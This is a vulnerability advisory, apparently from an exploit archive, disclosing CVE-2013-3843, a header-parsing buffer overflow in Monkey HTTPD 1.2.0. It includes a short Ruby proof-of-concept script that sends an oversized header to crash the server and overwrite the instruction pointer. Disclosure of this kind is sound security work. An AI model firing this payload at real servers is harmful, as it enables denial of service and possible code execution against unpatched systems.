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Monkey 1.2.0 Buffer Overflow

Monkey 1.2.0 Buffer Overflow
Posted Jun 4, 2013
Authored by dougtko

Monkey HTTPD version 1.2.0 suffers from a buffer overflow vulnerability that may result in arbitrary code execution or denial of service.

tags | exploit, denial of service, overflow, arbitrary, code execution
advisories | CVE-2013-3843
SHA-256 | e95d7c4461031fea05dff249b83585cd183eb5646afab885f06d666b7e6c2ecb

Monkey 1.2.0 Buffer Overflow

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1. Title

CVE-2013-3843 Monkey HTTPD 1.2.0 - Buffer Overflow DoS
Vulnerability With Possible Arbitrary Code Execution

2. Introduction

Monkey is a lightweight and powerful web server for
GNU/Linux.

It has been designed to be very scalable with low memory
and CPU consumption, the perfect solution for embedded
devices. Made for ARM, x86 and x64.


3. Abstract

A specially crafted request sent to the Monkey HTTPD
server triggers a buffer overflow which can be used to
control the flow of execution.

4. Report Timeline

2013-05-29
Discovered vulnerability via fuzzing
2013-05-30
Vendor Notification

5. Status

Published

6. Affected Products

Monkey HTTPD <= 1.2.0

7. Exploitation Technique

Remote

8. Details

Improper bounds checking while parsing headers allows
for an attacker to craft a request that will trigger a
buffer overflow during a call to memcpy() on line 268
in the file, mk_request.c.

9. Proof of Concept

The vulnerability can be exploited by remote attacker
without any special privileges. Under Ubuntu 13.04,
an offset of 2511 lines up the instruction pointer
with, 0x42424242.


#!/usr/bin/env ruby

require "socket"

host = "localhost"
port = 2001

s = TCPSocket.open(host, port)

buf = "GET / HTTP/1.1\r\n"
buf << "Host: " + "\r\n"
buf << "localhost\r\n"
buf << "Bad: "
buf << "A" * 2511
buf << "B" * 4

s.puts(buf)


10. Solution

There is currently no solution.

11. Risk

Risk should be considered high since it can be shown that
the flow of execution can be controlled by an attacker.

12. References

http://bugs.monkey-project.com/ticket/182

13. Credits

Doug Prostko <dougtko[at]gmail[dot]com>
Vulnerability discovery
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